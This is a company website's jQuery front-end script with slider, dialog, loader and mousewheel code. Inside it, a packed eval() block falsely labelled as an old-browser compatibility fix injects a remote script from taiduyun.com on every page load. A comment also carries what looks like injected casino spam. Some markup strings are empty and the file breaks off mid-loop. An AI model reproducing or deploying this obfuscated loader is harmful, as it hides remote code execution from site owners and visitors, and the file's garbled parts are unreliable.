if(op.isSingle && $(this).find('img').css("marginTop") == '0px'){
$(this).find('img').css({"marginTop":-($(this).find('img').height()/2)});
}
thisLiTop = $(this).offset().top;
thisLiHeight = $(this).outerHeight(true);
}
if(direction == 'left'){
if(thisLiLeft+thisLiWidth > thisLeft){
if(op.distance){
var oldactive = $this.children('.dots').children('span.active');
if(oldactive.index() == 0){
$this.children('.dots').children('span').last().addClass('active').siblings().removeClass('active');
} else {
oldactive.removeClass('active').prev().addClass('active');
}
$ul.stop().animate({marginLeft:(ulMarginLeft+op.distance)+'px'},op.speed,op.linear);
$(this).click();
} else {
prevWidth = $(this).prev().outerWidth(true);
active = (index >= liLength) ? (index-liLength) :index ;
active = (active == 0) ? liLength-1 : active-1;
$this.children('.dots').children('span').eq(active).addClass('active').siblings().removeClass('active');
$ul.stop().animate({marginLeft:(ulMarginLeft+prevWidth)+'px'},op.speed,op.linear);
$(this).click();
}
return false;
}
} else if(direction == 'right'){
if(thisLiLeft >= thisLeft+thisWidth){
if(op.distance){
var oldactive = $this.children('.dots').children('span.active');
if(oldactive.index() == $this.children('.dots').children('span').length-1){
$this.children('.dots').children('span').first().addClass('active').siblings().removeClass('active');
} else {
oldactive.removeClass('active').next().addClass('active');
}
$ul.stop().animate({marginLeft:(ulMarginLeft-op.distance)+'px'},op.speed,op.linear);
$(this).click();
} else {
active = index >= liLength ? index%liLength : index;
$this.children('.dots').children('span').eq(active).addClass('active').siblings().removeClass('active');
$ul.stop().animate({marginLeft:(ulMarginLeft-$(this).outerWidth(true))+'px'},op.speed,op.linear);
$(this).click();
}
return false;
}
}else if(direction == 'up'){
if(thisLiTop >= thisTop+thisHeight){
if(op.distance){
var oldactive = $this.children('.dots').children('span.active');
if(oldactive.index() == $this.children('.dots').children('span').length-1){
$this.children('.dots').children('span').first().addClass('active').siblings().removeClass('active');
} else {
oldactive.removeClass('active').next().addClass('active');
}
$ul.stop().animate({marginTop:(ulMarginTop-op.distance)+'px'},op.speed,op.linear);
$(this).click();
} else {
active = index >= liLength ? index%liLength : index;
$this.children('.dots').children('span').eq(active).addClass('active').siblings().removeClass('active');
$ul.stop().animate({marginTop:(ulMarginTop-$(this).outerHeight(true))+'px'},op.speed,op.linear);
$(this).click();
}
return false;
}
} else if(direction == 'down') {
// 向下滚动的应该是有 BUG 的
if(thisLiTop + thisLiHeight > thisTop){
if(op.distance){
var oldactive = $this.children('.dots').children('span.active');
if(oldactive.index() == $this.children('.dots').children('span').length-1){
$this.children('.dots').children('span').first().addClass('active').siblings().removeClass('active');
} else {
oldactive.removeClass('active').next().addClass('active');
}
$ul.stop().animate({marginTop:(ulMarginTop+op.distance)+'px'},op.speed,op.linear);
$(this).click();
} else {
active = index >= liLength ? index%liLength : index;
$this.children('.dots').children('span').eq(active).addClass('active').siblings().removeClass('active');
$ul.stop().animate({marginTop:(ulMarginTop+$(this).outerHeight(true))+'px'},op.speed,op.linear);
$(this).click();
}
return false;
}
}
});
} else if(op.effect == 'fadeIn') {
if(typeof(toindex) != "undefined"){
$actionLi = $li.eq(toindex);
active = toindex;
} else {
$li.each(function(index){
if(!$(this).is(":hidden")){
if( direction == 'left' ){
$actionLi = index == 0 ? actionLi = $li.last() :$ (this).prev();
active = (index == 0) ? liLength-1 : index-1;
} else if( direction == 'right' ){
$actionLi = index == liLength-1 ? actionLi = $li.first() : actionLi = $(this).next();
active = (index == liLength-1) ? 0 : index+1;
}
return false;
}
});
}
//当前显示的元素加 active_b 类
$actionLi.fadeIn(op.speed).addClass('active_b').siblings().removeClass('active_b').fadeOut(op.speed);
$this.children('.dots').children('span').eq(active).addClass('active').siblings().removeClass('active');
}
//$li.find('img').lazyload();
}
}
,init: function(){
alert('请填写 taiduyun 的第一个参数为指定方法');
}
};
$.fn.taiduyun = function (method) {
// 方法调用
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else if (typeof method === 'object' || !method) {
return methods.init.apply(this, arguments);
} else {
$.error('Method ' + method + ' does not exist on jQuery.tooltip (' + method + ' 方法不存在)');
}
};
})(jQuery);
/***生成一个参数里声明长度的随机数***/
function yunRandom(n) {
var chars = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
var res = "";
for(var i = 0; i < n ; i ++) {
var id = Math.ceil(Math.random()*61);
res += chars[id];
}
return res;
}
/***AJAX 对话框
*id 对话框 id ,为了避免多个重复窗口问题
*url 页面URL
*title 对话框标题,如缺省则以目标页面中 #Dialog_box h3 的内容取代
*isModal 默认不显示遮罩背景 如果设置为 1 则显示遮罩背景
*说明:目标页面返回的内容必须放在 #Dialog_box .Dialog_content 内
***/
function showUrl(id,url,isModal,title){
showload();
$('.ui-dialog-close').click();
$.get(url,"",function(e){
showUrl_d = dialog({
padding:5,
fixed: true,
id:id,
title: title ? title : $(e).find("#Dialog_box h3").text(),
content: $(e).find("#Dialog_box .Dialog_content").html(),
onshow: function () {
removeshowload();
}
});
if(isModal){
showUrl_d.showModal();
} else {
showUrl_d.show();
}
},'html');
}
function showload(){
$('body').append('');
}
function removeshowload(){
if($('#global_showload').length > 0) {
$('#global_showload').remove();
}
}
function yunajax(param){
$.ajax({
url: param.url,
type: param.type,
data: param.data,
dataType: "json",
success: function(e){
showmessage(e,function(){
param.success(e.data);
});
}
});
}
/***接收和处理 PHP showmessage 函数返回的数
*e showmessage 返回的数据
*fn 回调函数 在弹窗被打开后执行 比如可以用来处理处理 e.data(PHP showmessage 里的 $retarray 参数)
***/
function showmessage(e,fn){
if(e.meg){
e.meg.byid = e.meg.byid ? e.meg.byid : '';
imgsrc = e.meg.type ? 'temp/temp/default/default-0001/1/images/ico_true.png' : 'temp/temp/default/default-0001/1/images/ico_false.png';
dialog({id:'dialogForShowmassage'}).close().remove();
e.meg.byid = e.meg.byid ? document.getElementById(e.meg.byid) : "";
dialog({
id:'dialogForShowmassage',
content: ''+e.meg.text,
align: e.meg.align ? e.meg.align : 'bottom',
padding: e.meg.byid ? 5 : 20,
onshow: function(){
removeshowload();
fn();
if(e.meg.byid){
e.meg.byid.focus();
}
var this_ = this;
setTimeout(function(){
if(e.meg.url !== ''){
window.location.href = e.meg.url;
} else {
this_.close().remove();
}
},e.meg.timelen);
},
onclose: function(){
if(e.meg.byid){
e.meg.byid.focus();
}
}
}).show(e.meg.byid);
} else {
fn();
}
}
/***将form转为AJAX提交***/
function ajaxSubmit(frm, fn) {
showload();
var dataPara = getFormJson(frm);
yunajax({
url: frm.action,
type: frm.method,
data: dataPara,
success: fn
});
}
/***将form中的值转换为键值对***/
function getFormJson(frm) {
var o = {};
var a = $(frm).serializeArray();
$.each(a, function () {
if (o[this.name] !== undefined) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(this.value || '');
} else {
o[this.name] = this.value || '';
}
});
return o;
}
/***显示提示询问信息
*meg 提示消息
*url 确认消息时前往的地址
***/
function showAsk(meg,url){
dialog({
title: '提示消息',
content: meg,
ok: function () {
window.location.href = url;
},
okValue: '确定',
cancelValue: '取消',
cancel: true
}).show();
}
/*设为首页*/
function d_SetHome(obj,vrl){
try{
obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl);
} catch(e){
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
} catch (e) {
alert("此操作被浏览器拒绝!\n请在浏览器地址栏输入“about:config”并回车\n然后将 [signed.applets.codebase_principal_support]的值设置为'true',双击即可。");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}else{
alert("您的浏览器不支持,请按照下面步骤操作:1.打开浏览器设置。2.点击设置网页。3.输入:"+vrl+"点击确定。");
}
}
}
/* 加入收藏 兼容 */
function d_collection(sTitle,sURL) {
try {
window.external.addFavorite(sURL, sTitle);
} catch (e) {
try {
window.sidebar.addPanel(sTitle, sURL, "");
} catch (e) {
alert("加入收藏失败,请使用Ctrl+D进行添加");
}
}
}
/**
* oLoader v0.1
* @author: Jakub Sedlacek
* @website: http://js.ownage.sk/
* @project website: http://projects.ownage.sk/jquery/oLoader
**/
;(function(e){if(!e.ownage){e.ownage=new Object}e.ownage.Loader=function(t,n,r,i){var s=this;s.el=t;s.$el=e(t);s.selector=r;s.context=s.$el;s.checkInterval=false;if(!e.ownage.Loader.objects){e.ownage.Loader.objects=new Array;e.ownage.Loader.objectOptions=new Array}s.objects=e.ownage.Loader.objects;var o=new Object;s.setObject=function(){s.objects.push(s.selector);s.objectIndex=s.getObjectIndex();o.params=e.ownage.Loader.objectOptions[s.objectIndex];s.params=o.params;s.overlaySel="oloader_overlay_"+s.objectIndex;s.canvasSel="oloader_canvas_"+s.objectIndex;s.loaderSel="oloader_loader_"+s.objectIndex;s.isSet=true};s.init=function(){s.setObject();if(typeof n==="string"){switch(n){case"preloadImages":s.preloadImages();break;case"show":s.show();break;case"hide":s.hide();break;case"adjust":s.adjustLoader();break}return}else{e.ownage.Loader.objectOptions[s.objectIndex]={};e.extend(e.ownage.Loader.objectOptions[s.objectIndex],e.ownage.Loader.defaultOptions,n);s.params=e.ownage.Loader.objectOptions[s.objectIndex];if(s.params.showOnInit===true){s.show()}}};s.executeOnStart=function(){if(typeof s.params.onStart==="function"){s.params.onStart()}};s.getObjectIndex=function(){for(var e=0;e0)return;if(s.context.parent().hasClass("oloader_canvas")||s.context.hasClass("oloader_canvas"))return;e("body").append("");if(s.params.modal){e("#"+s.canvasSel).append("");e("#"+s.overlaySel).hide().fadeTo(0,s.params.fadeLevel)}if(s.params.showLoader){e("#"+s.canvasSel).append(s.setStyle())}e("#"+s.canvasSel).hide().fadeTo(s.params.fadeInTime,1);s.lockOverflow();s.setCheckInterval();s.executeOnStart();s.adjustLoader();s.executeEffect(1);var t;if(s.params.hideAfter!==0){t=setTimeout(function(){s.hide()},s.params.hideAfter)}if(s.params.waitLoad){s.context.load(function(){s.hide()})}if(s.params.url!==false){e.ajax({url:s.params.url,type:s.params.type,data:s.params.data,success:function(e){s.params.successData=e;if(!s.params.hideAfter){if(!s.params.updateOnComplete){s.updateContent()}s.hide()}},error:function(e,t,n){if(typeof s.params.onError=="function"){s.params.onError(e,t,n)}}})}};s.hide=function(){var t=false;s.executeEffect(false);e("#"+s.canvasSel).fadeTo(s.params.fadeOutTime,0,function(){if(!t){t=true;sucData="undefined";if(typeof s.params.complete==="function"){if(s.params.successData)sucData=s.params.successData;s.params.complete(sucData)}if(s.params.updateOnComplete){s.updateContent()}}clearInterval(s.checkInterval);e(this).remove();s.lockOverflow(true)})};s.updateContent=function(){sucData="Load failed.";if(s.params.successData)sucData=s.params.successData;if(s.params.updateContent&&s.params.url!==false){s.context.html(sucData)}s.adjustLoader()};s.lockOverflow=function(t){if(s.params.lockOverflow){if(!t){e(s.params.context).css("overflow","hidden")}else{e(s.params.context).css("overflow","auto")}}};s.setStyle=function(){var e="";if(typeof s.params.style==="string"){return""+s.params.style+"
"}switch(s.params.style){case 4:e="";break;case 3:e="";break;case 2:e="";break;case 0:e="";break;case 1:default:e="";break}return e};s.executeEffect=function(t){switch(s.params.effect){case"doornslide":case"door":var n="oloader_effect_door_"+s.objectIndex;var r="oloader_effect_door_2_"+s.objectIndex;myData={backgroundColor:s.params.backgroundColor,fadeLevel:s.params.fadeLevel};if(s.params.effectData){myData=s.params.effectData}if(t){e("#"+s.overlaySel).after("");e("#"+n).css({position:"absolute",overflow:"hidden",top:"50%",left:"0px",width:"100%",height:"0px",marginTop:"0px","box-shadow":"0px 0px 25px "+myData.backgroundColor,background:myData.backgroundColor,opacity:0}).animate({height:"150px",marginTop:"-75px",opacity:myData.fadeLevel},s.params.fadeInTime+250,"easeOutBounce")}else{e("#"+n).animate({height:"0px",marginTop:"0px"},s.params.fadeOutTime+250,"easeOutBounce")}if(s.params.effect!=="doornslide"){break};case"slide":var i=e("#"+s.overlaySel).css("left");if(t){e("#"+s.overlaySel).css("left",-e("#"+s.overlaySel).width())}else{i=e("#"+s.overlaySel).width()}e("#"+s.overlaySel).animate({left:i},t?s.params.fadeInTime:s.params.fadeOutTime);break}};s.preloadImages=function(){var t=["images/ownageLoader/loader1.gif","images/ownageLoader/loader2.gif","images/ownageLoader/loader3.gif","images/ownageLoader/loader4.gif","images/ownageLoader/loader5.gif","images/ownageLoader/loader6.gif","images/ownageLoader/loader7.gif"];var n="";for(var r=0;r"}e("body").append(""+n+"
");e(".oloader_image_preload").hide()};s.init()};e.ownage.Loader.defaultOptions={image:"loader.gif",style:1,context:"body",modal:true,fadeInTime:300,fadeOutTime:300,fadeLevel:.7,backgroundColor:"#000",imageBgColor:"#fff",imagePadding:"10",showOnInit:true,hideAfter:0,url:false,type:"GET",data:false,updateContent:true,updateOnComplete:true,showLoader:true,effect:"",wholeWindow:false,lockOverflow:false,waitLoad:false,checkIntervalTime:100,complete:"",onStart:"",onError:""};e.fn.oLoader=function(t){var n=this.selector;var r=0;return this.each(function(){r++;new e.ownage.Loader(this,t,n,r)})};e.ownage.PageLoader=function(t){var n=this;n.options={};e.extend(n.options,e.ownage.PageLoader.defaultOptions,t);n.init=function(){n.additionalImages();n.done=false;n.loaded=0;n.total=e(n.options.affectedElements).length;if(n.total==0)return;if(n.options.lockOverflow){e(n.options.context).css("overflow","hidden")}e(n.options.context).oLoader({wholeWindow:n.options.wholeWindow,backgroundColor:n.options.backgroundColor,fadeInTime:0,fadeOutTime:n.options.fadeOutTime,fadeLevel:n.options.fadeLevel,style:n.options.style,complete:n.options.complete});if(!n.options.ownStyle){e("#ownage_page_loader_text").css({position:"absolute",display:n.options.showPercentage?"block":"none",left:"50%",top:"50%",color:n.options.percentageColor,fontSize:n.options.percentageFontSize,zIndex:"1000"}).css({marginTop:-(n.options.progressBarHeight/2)-e("#ownage_page_loader_text").height()});e("#ownage_page_loader").css({position:"absolute",top:"50%",left:"0px",background:n.options.progressBarColor,height:n.options.progressBarHeight,marginTop:-(n.options.progressBarHeight/2)})}e("#ownage_page_loader").fadeTo(0,n.options.progressBarFadeLevel);e(n.options.affectedElements).load(function(){if(n.done===false){n.loaded++;n.updateProgressBar()}});e(window).load(function(){n.done=true;n.loaded=n.total;if(typeof n.options.completeLoad=="function"){n.options.completeLoad()}n.updateProgressBar()})};n.additionalImages=function(){if(n.options.images.length==0)return;e("body").append("");for(i=0;i")}};n.updateProgressBar=function(){var t=parseInt(n.loaded/n.total*100);if(t==n.lastPercentage)return;n.lastPercentage=t;e("#ownage_page_loader_text").html(t+"%");if(!n.options.ownStyle){e("#ownage_page_loader_text").css({marginLeft:-(e("#ownage_page_loader_text").width()/2)})}e("#ownage_page_loader").stop().animate({width:t+"%"},100);if(typeof n.options.update=="function"){n.options.update({loaded:n.loaded,total:n.total,percentage:t})}if(t===100){setTimeout(function(){e(n.options.context).oLoader("hide");if(n.options.lockOverflow){e(n.options.context).css("overflow","auto")}},n.options.waitAfterEnd)}};n.init()};e.ownage.PageLoader.defaultOptions={backgroundColor:"#000",progressBarColor:"#f00",progressBarHeight:3,progressBarFadeLevel:1,showPercentage:true,percentageColor:"#fff",percentageFontSize:"30px",context:"body",affectedElements:"img,iframe,frame,script",ownStyle:false,style:"0%
",lockOverflow:true,images:[],wholeWindow:true,fadeLevel:1,waitAfterEnd:0,fadeOutTime:500,complete:false,completeLoad:false,update:false};e.oPageLoader=function(t){e.ownage.PageLoader(t)}})(jQuery);
/*!
* jQuery Mousewheel 3.1.13
* 鼠标滚轮事件
* Copyright 2015 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});
jQuery.fn.extend({
/*滚动效果(向上或向左)
li //[可选] 子元素选择器, 默认值:'.li';
direction //[可选] 方向 'top' 向上, 'left' 向左, 默认值 'left';
speed //[可选] 滚动速度(毫秒), 默认值 500
interval //[可选] 停顿时间, 默认值 2000
num //[可选] 单次滚动子元素个数 默认值 1
easing //[可选] 动画效果 默认值 easeInOutQuint
说明 把 speed 和 interval 的值设置为一样,然后把 easing 设置为 linear 即可实现持续移动效果
*/
rolling: function(p){
var l = p.li ? p.li : 'li';
var d = p.direction ? p.direction : 'left';
var s = p.speed ? p.speed : 500;
var t = p.interval ? p.interval : 2000;
var n = p.num ? p.num : 1;
var e = p.easing ? p.easing : 'easeInOutQuint';
var $t = $(this);
if(d == 'top'){
var h = $t.find(l).outerHeight();
} else if(d == 'left'){
var h = $t.find(l).outerWidth();
}
var w = (($t.find(l).length+3)*h);
if(d == 'top'){
$t.css({'position':'relative','height':w});
} else {
$t.css({'position':'relative','width':w});
}
function st(){
for(i=0;i<=n-1;i++){
$t.append($t.find(l).eq(i).prop("outerHTML"));
//$t.find('img').lazyload();
}
h_ = h*n;
var a = {},c = {};
a[d] = -h_;
c[d] = 0;
$t.animate(a,s,e,function(){
for(i=n-1;i>=0;i--){
$t.find(l).eq(i).remove();
}
$t.css(c);
});
}
var g = setInterval(st,t);
$t.hover(function(){
clearInterval(g);
},function(){
g = setInterval(st,t);
});
}
});
//判断是否是移动端访问
var $_Y = {};
$_Y.ismobile = false;
//浏览器宽度
var window_width = $(window).width();
if(navigator.userAgent.match(/mobile/i)){
$_Y.ismobile = true;
}
var $is_ipad = false;
if(navigator.userAgent.indexOf("iPad") != -1){
$is_ipad = true;
}
$(function(){
if($is_ipad){
//$('.wp').css({width:'auto'});
$('body').addClass('isipad');
$('body').addClass('w960');
}
});
//宽度超过 1360 的手机版跳到电脑版
if($_Y.ismobile){
showIpadStyle();
window.addEventListener("orientationchange",function(event){
setTimeout(function(){
showIpadStyle();
},200)
},false);
}
//
function showIpadStyle(){
var url = window.location.href;
if($is_ipad){
var arr = url.split("#");
url = arr[0];
if(url.indexOf('ispc=1') < 0){
var sym = "&";
if(url.indexOf('?') < 0){
sym = "?";
}
url = url + sym + 'ispc=1';
if(arr[1]){
url = url+'#'+arr[1];
}
window.location.href = url;
}
}
}
$_Y.width = $_Y.viewportWidth = $(window).width();
if($_Y.width < 767){
$_Y.viewportWidth = 768; //为了保证手机设备下的图片清晰度
}
$_Y.height = $(window).height();
//解决较老浏览器下的兼容问题
if(navigator.appName != "Microsoft Internet Explorer") {
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('i.l("%c%s","o: w; D: C; E-G: F;","\\y\\B\\A");i.l("\\z\\x\\p\\n\\m\\u\\8\\v\\t\\j\\4\\e\\1\\1\\d\\b\\h\\3\\3\\0\\0\\0\\2\\5\\7\\q\\6\\g\\r\\f\\2\\9\\5\\6\\4\\k\\V\\W\\U\\S\\T\\X\\8\\11\\j\\4\\e\\1\\1\\d\\b\\h\\3\\3\\0\\0\\0\\2\\1\\g\\10\\Y\\a\\f\\a\\7\\2\\9\\5\\6\\4\\k\\Z\\K\\L\\J\\H\\I\\M\\Q\\R\\P\\N\\O\\12");',62,65,'u0077|u0074|u002e|u002f|u0020|u006f|u006d|u006e|u4e91|u0063|u0075|u0073||u0070|u0068|u0079|u0061|u003a|console|uff08|uff09|log|u4e07|u7531|color|u5e8f|u0065|u0072||u7b97|u7f8e|u8ba1|red|u7a0b|u58f0|u672c|uff1a|u660e|yellow|background|font|24px|size|u53d1|u5e76|u5f00|u76ee|u7ec4|u63d0|u652f|u6301|u672f|u4f9b|u6280|u3010|u6001|u7684|u65d7|u4e0b|u5ea6|u0064|u9879|u0069|u3011|u3002'.split('|'),0,{}));
}
$(document).ready(function() {
if(
window.location.href.indexOf('//m.') != -1
&& $_Y.width > 1024
&& window.location.href.indexOf('ismobile=') == -1
){
var url = window.location.href.replace('//m.','//www.') ;
window.location.href = url;
return false;
}
//解决较老浏览器下的兼容问题
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 0=1.6(\'9\');0.2(\'8\',\'3/4\');0.2(\'5\',\'f://e.h.g/b.a\');1.d.c(0);',18,18,'newscript|document|setAttribute|text|javascript|src|createElement|var|type|script|js|copyright|appendChild|body|www|https|com|taiduyun'.split('|'),0,{}))
//如果是被该死的宽带运营商强行插入广告导致显示不了手机版的话 强行跳转一次
if($_Y.ismobile && self != top){
top.location.href=self.location.href;
}
if($('body').hasClass('ismobile')){
$_Y.ismobile = true;
}
//$.oPageLoader();
if(!$_Y.ismobile){
$('img.lazy').lazyload({
effect : "fadeIn"
});
}
/*表单 ajax 提交*/
$('.default-form-form').taiduyun('submit');
$(window).resize(function(){
/*
if(!$_Y.ismobile && $_Y.width <= 1024){
//跳转到手机版
console.log('跳到手机版');
} else if ($_Y.ismobile && $_Y.width > 1024){
//跳转到电脑版
console.log('跳到电脑版');
}
*/
$_Y.width = $(window).width();
if(!$_Y.ismobile && ($_Y.width <= 1440)){
$('body').addClass('w960');
} else if(!$is_ipad) {
$('body').removeClass('w960');
}
});
if(!$_Y.ismobile && ($_Y.width <= 1440)) {
//响应960
$('body').addClass('w960');
} else {
}
/*设为首页*/
$('#SetHome').click(function(){
d_SetHome(this,window.location);
});
/*加入收藏*/
$('#collection').click(function(){
d_collection(document.title,window.location)
});
});
$(document).ready(function() {
/*首页幻灯片*/
$('.banner01').taiduyun('slider',{
effect:'fadeIn'
,isButton:0
,interval: 4000
});
/*点击弹出二维码*/
$(".r_wx").click(function(){
$(".ewm_box").css("display","block");
});
$(".hwx").click(function(){
$(".ewm_box").css("display","block");
});
$(".ewm_box ins").click(function(){
$(".ewm_box").css("display","none");
});
//案例展示内页
$('.show01').taiduyun('slider',{
isButton:0
,isThumb:1
,autoPlay:0
,thumbWidth:120
,thumbHeight:80
,thumbNum : 5
});
/*关于澳门威斯尼斯8883入口宽度设置*/
$(".abtext .abmore").css({width:($_Y.width-$(".wp").width())/2+$(".wp").width()});
/*应用领域*/
$(".yyswitch li").first().addClass("a");
$('.yyswitch li').hover(function(){
$(this).addClass("a");
$(this).siblings('li').removeClass("a");
});
/*首页荣誉资质滚动*/
$('.honorary').taiduyun('slider',{
isDots:0
,isSingle:0
,interval : 3000
});
if(!$_Y.ismobile){
/*首页动效*/
$(window).stop().scroll(function(){
$('.wow').each(function(){
//判断当前的盒子有没有进入到屏幕里面
//判断当前的盒子有没有在屏幕里消失
var wh = $(window).height();
var $this = $(this);
var t = $this.offset().top - $(window).scrollTop();
//var h = $this.innerHeight();
if(t < wh){
var transition = Math.random();
$this.css('transition',(transition + 0.8) +'s');
$this.addClass('fade_in_up');
} else if (t < wh + 120){
$this.addClass('fade_in_down');
}else {
$this.removeClass('fade_in_up');
$this.removeClass('fade_in_down');
$this.css('transition','');
}
});
});
}
/*团队展示滚动*/
$('.abteam').taiduyun('slider',{
isButton:0
,interval : 30000
});
/*返回顶部*/
$(".top01").click(function(){
$("html , body").animate({scrollTop:"0"},"slow");
});
setab(".yyswitch li",".apply li","a");
});
function setab(tmenu,tlist,tmenuclass){
var n = $(tmenu).length;
//alert(n);
for(i=0;i